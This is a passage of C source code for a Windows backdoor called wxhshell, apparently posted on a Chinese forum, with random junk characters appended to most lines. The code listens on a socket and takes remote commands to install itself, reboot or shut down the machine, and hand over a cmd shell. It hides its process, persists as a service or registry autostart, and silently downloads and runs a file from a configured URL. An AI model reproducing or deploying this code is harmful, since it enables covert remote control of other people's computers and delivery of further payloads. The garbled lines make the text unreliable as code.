r5$?4t  
    switch(cmd[0]) { /A`zy  
  DG%%]  
  // 帮助 Yi! >8  
  case '?': { z]4g`K+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z jNjmC!W  
    break; U Edl"FwM4  
  } I]j/ ab7>  
  // 安装 77[;J  
  case 'i': { K^1O =1gY  
    if(Install()) cbHn\m)J,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B7QtB3bn  
    else s9Q)6=mE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %BP)m(S7  
    break; OrqJo!FEg{  
    } 2$/gg"g+  
  // 卸载 `EW_pwZPA  
  case 'r': { 113x9+w[  
    if(Uninstall()) ]> "/<"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R5~vmT5W  
    else ;ZW}47:BS6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >[3,qP]E  
    break; "rlSK >`  
    } R@{/$p:  
  // 显示 wxhshell 所在路径 X9BBnZ  
  case 'p': { U=<.P;+f9  
    char svExeFile[MAX_PATH]; -W"0,.Dvg  
    strcpy(svExeFile,"\n\r"); x~Esu}x7  
      strcat(svExeFile,ExeFile); i1H80m s  
        send(wsh,svExeFile,strlen(svExeFile),0); F/,<dNJ  
    break; ;<ma K*f\S  
    } d+| ! 6  
  // 重启 Q)i`.mHfFI  
  case 'b': { eX),B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b.u8w2(  
    if(Boot(REBOOT)) .Yv.-A=ZIg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {~{s=c0  
    else { f0'Wq^^  
    closesocket(wsh); WT? U~.U  
    ExitThread(0); jQBdS. }'v  
    } A2FU}Ym0=  
    break; Kgio}y  
    } ;{C{V{  
  // 关机 H_r'q9@<>  
  case 'd': { ZN]c>w[ )I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >Ti2E+}[M  
    if(Boot(SHUTDOWN)) .6A:t? .  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pj5#G0i%  
    else { a/`Yh>ou  
    closesocket(wsh); Pw0KQUs  
    ExitThread(0); hb\Y)HSp/  
    } (dprY1noC  
    break; ^XB8A=xi  
    } Zkep7L   
  // 获取shell :[rKSA]@  
  case 's': { x!Y@31!Dy  
    CmdShell(wsh); @ tp7tB ;  
    closesocket(wsh); 8`?j*FV7kq  
    ExitThread(0); u! FSXX<  
    break; )h!l%72  
  } Yt<PKs#E  
  // 退出 Y>m=cqR  
  case 'x': { l,2z5p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V.[#$ip6:  
    CloseIt(wsh); '{*>hj5.8  
    break; P T.jR*  
    } y!D`.'  
  // 离开 -"tgEC\tD  
  case 'q': { PKs%-Uk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %>U*A  
    closesocket(wsh); hCoL j6Vx  
    WSACleanup(); M HB]'  
    exit(1); qxr&_r  
    break; `ha:Gf  
        } ,5"]K'Vce  
  } #\["y%;W  
  } UN4) >\Y  
QYb?;Z  
  // 提示信息 Oydmq,sVe(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "{xv|C<*n  
} dct#E CT  
  } E.bbIV6mQ  
*/e5lRO\  
  return; \)]2Uh|  
} RUtS_Z&  
XFe7qt;%  
// shell模块句柄 pREY AZh  
int CmdShell(SOCKET sock) C7_T]e<  
{ Ax*~[$$~%  
STARTUPINFO si; cb,sb^-  
ZeroMemory(&si,sizeof(si)); 9o'6es..@Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F7l:*r,O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .*7UT~o=CS  
PROCESS_INFORMATION ProcessInfo; xA E@cwg  
char cmdline[]="cmd"; EZfa0jJD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ck+rOGv7{Z  
  return 0; dkp[?f)x  
} -{%''(G  
yE9.]j  
// 自身启动模式 /~5YTe( F  
int StartFromService(void) Y"%o\DS*  
{ W A}@n  
typedef struct PCfs6.*5Mf  
{ X($SBUS6  
  DWORD ExitStatus; 3) 0~:  
  DWORD PebBaseAddress; D.!7jA#  
  DWORD AffinityMask; ~B\:  
  DWORD BasePriority; HwuPjc#  
  ULONG UniqueProcessId; ~l6Y<-!  
  ULONG InheritedFromUniqueProcessId; X5<.%@Z  
}   PROCESS_BASIC_INFORMATION; A\.*+k/B  
!c($C   
PROCNTQSIP NtQueryInformationProcess; _If?&KJ r  
Vatt9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BF!zfX?n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +N@F,3yNa  
[0#hgGO]P  
  HANDLE             hProcess; Lc?O K"[m  
  PROCESS_BASIC_INFORMATION pbi; Acv{XnB  
5^/[]*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mIo7 K5z{  
  if(NULL == hInst ) return 0; W fNMyI  
&2igX?60  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;)a9Y?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y*(j{0yd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n82Q.M-H  
eR`<9KBH  
  if (!NtQueryInformationProcess) return 0; H\bIO!vb  
~ }22Dvo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wm71,R1  
  if(!hProcess) return 0; f|0QN#$  
4pT|r6!<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;# j 82  
]l%.X7M9  
  CloseHandle(hProcess); j@!}r|-T  
A,)ELVk1F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RkwY3 s"  
if(hProcess==NULL) return 0; j56 An6g  
p]eD@3Wz  
HMODULE hMod; c<e\JJY5?  
char procName[255]; $twF93u$  
unsigned long cbNeeded; I!D*(>  
J7vpCw2ni  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3fTI&2:  
I|z#Aoc  
  CloseHandle(hProcess);  0 XzO`*  
-~f.>@Wb  
if(strstr(procName,"services")) return 1; // 以服务启动 #+k[[; 0  
yFsXI0I[p  
  return 0; // 注册表启动 pnJT]?},  
} QGy=JHb  
tvRy8u;  
// 主模块 2,0F8=L  
int StartWxhshell(LPSTR lpCmdLine) (=rv `1  
{ mA @+4&  
  SOCKET wsl; pa-4|)qY  
BOOL val=TRUE; jF9CTL<  
  int port=0; m)}MkC-  
  struct sockaddr_in door; id'# s  
Kf~+jYobO  
  if(wscfg.ws_autoins) Install(); G1 tp  
!k9h6/ b6  
port=atoi(lpCmdLine); 2s%M,Nb  
O%e.u>=4%  
if(port<=0) port=wscfg.ws_port; 2z3A"HrlA  
{fD#=  
  WSADATA data; v19`7qgR(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2zu~#qU[)M  
Mk?I}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Lm#d.AD)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kELyD(^P`  
  door.sin_family = AF_INET; 1A-EP@# J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |'_<(z  
  door.sin_port = htons(port); [rU8 #4.  
89mre;v`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )n@3@NV  
closesocket(wsl); @un }&URp  
return 1; !@k@7~i  
} F9r*ZyNlx  
vy2aNUmt  
  if(listen(wsl,2) == INVALID_SOCKET) { 1H7Q[ 2E  
closesocket(wsl); Dj"=kL0  
return 1; I xBO$ 2  
} vW3ZuB  
  Wxhshell(wsl); 4'&BpFDUb  
  WSACleanup(); ><c5Humr  
I=a$1%BzEX  
return 0; }* JMc+!9@  
a=VT|CX[  
} 0u2uYiE-l  
yVzg<%CR^  
// 以NT服务方式启动 hATy 3*4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |LH*)GrD*t  
{ uf] $@6)  
DWORD   status = 0; caD;V(  
  DWORD   specificError = 0xfffffff; va2A@U  
IQ~7vk()  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f om"8iL1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e}AJxBE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (OQ @!R&  
  serviceStatus.dwWin32ExitCode     = 0; 4[0?F!%  
  serviceStatus.dwServiceSpecificExitCode = 0; MiM=fIuw@s  
  serviceStatus.dwCheckPoint       = 0; ][#*h`I  
  serviceStatus.dwWaitHint       = 0; m]q!y3  
JZxF)] ^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d2yHfl]3  
  if (hServiceStatusHandle==0) return; LfXr(2u  
I.1l  
status = GetLastError(); 5zna?(#}  
  if (status!=NO_ERROR) J5 ( D7rp#  
{ ABmDSV5i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Uy|=A7Ad c  
    serviceStatus.dwCheckPoint       = 0; 7#qL9+G  
    serviceStatus.dwWaitHint       = 0;  WPKTX,k  
    serviceStatus.dwWin32ExitCode     = status; @6'E8NFl  
    serviceStatus.dwServiceSpecificExitCode = specificError; #2ASzCe  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n3j h\  
    return; *r$.1nke  
  } +Z2<spqG  
[;YBX] t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >I~z7 JS  
  serviceStatus.dwCheckPoint       = 0; ^QR'yt3e  
  serviceStatus.dwWaitHint       = 0; }px]   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Kg-X]yu*0  
} i9U_r._qj;  
l0xFt ~l  
// 处理NT服务事件,比如:启动、停止 LlY*r+Cgl1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UC/2&7 ?  
{ v1g5(  
switch(fdwControl) UDtbfc7bk  
{ \&)W#8V  
case SERVICE_CONTROL_STOP: #gJ~ {tA:  
  serviceStatus.dwWin32ExitCode = 0; lNVAKwW2#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )Hm[j)YI  
  serviceStatus.dwCheckPoint   = 0; Er1u1@  
  serviceStatus.dwWaitHint     = 0; NVWeJ+w  
  { bMOM`At>z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |hQ|'VCN  
  } Sb4PCt  
  return; \OT)KVwO  
case SERVICE_CONTROL_PAUSE: ^6y4!='ci  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B&k T#  
  break; G2{M#H  
case SERVICE_CONTROL_CONTINUE: RTBBb:eX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;Jn0e:x`E  
  break; -7z y  
case SERVICE_CONTROL_INTERROGATE: *oX]=u&  
  break; pQ(eF0KG  
}; Ss! 3{VW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gLMea:  
} Rue|<d1  
^WW|AS  
// 标准应用程序主函数 q}v04Yy,o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $"{3yLg  
{ *@n3>$  
iZ6C8HK&&  
// 获取操作系统版本 s_Oh >y?Aq  
OsIsNt=GetOsVer(); ;Pqyu ?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q&d&#3Rh  
3H}~eEg,  
  // 从命令行安装 }>X\"  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q>a7Ps@~  
/,N!g_"Z  
  // 下载执行文件 >dvWa-rNUT  
if(wscfg.ws_downexe) { Bx : So6:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (X_,*3Yxk  
  WinExec(wscfg.ws_filenam,SW_HIDE); .>64h H  
} &}6ES{Nr8  
M:UB>-`bW  
if(!OsIsNt) { Ld3Bi2d|  
// 如果时win9x,隐藏进程并且设置为注册表启动 lH@E%  
HideProc(); }A)36  
StartWxhshell(lpCmdLine); 0Q- Mxcj  
} ENx@Ex  
else f,HzrHax  
  if(StartFromService()) io r [v  
  // 以服务方式启动 ?}3PJVy?  
  StartServiceCtrlDispatcher(DispatchTable); m{$tO;c/Q  
else %3c|  
  // 普通方式启动 :&0yf;>v  
  StartWxhshell(lpCmdLine); :{i$2\DH6  
bqQO E4;  
return 0; {.3  
}
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只看该作者 1 发表于: 2006-10-10
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